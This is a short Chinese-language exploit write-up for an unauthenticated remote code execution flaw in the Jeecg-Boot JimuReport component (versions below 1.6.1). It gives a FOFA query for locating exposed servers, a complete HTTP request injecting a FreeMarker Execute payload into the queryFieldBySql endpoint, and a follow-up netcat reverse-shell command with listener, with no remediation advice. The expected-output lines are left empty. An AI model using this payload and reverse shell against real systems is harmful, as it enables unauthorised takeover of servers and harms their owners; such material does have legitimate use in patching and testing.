jeect-boot积木报表由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
1.漏洞级别
高危
2.漏洞搜索
fofa
app="Jeecg-Boot 企业级快速开发平台"
3.影响范围
JimuReport < 1.6.1
4.漏洞复现
这个漏洞的注入点就在于/jeecg-boot/jmreport/queryFieldBySql 且无需用户授权即可执行
构造数据包
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Type: application/json
Content-Length: 102
{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami \") }' "}
如果漏洞存在,则会出现以下内容:
如果命令失败则会显示:
漏洞相对简单,到这里就复现成功了。
4.2 进一步利用
如果想要进一步rce的话,可以通过nc的方法来反弹shell,执行
nc -e /bin/bash ip port
远程服务器执行,即可正常获取shell
nc -lvp 8888
成功getsshell,root权限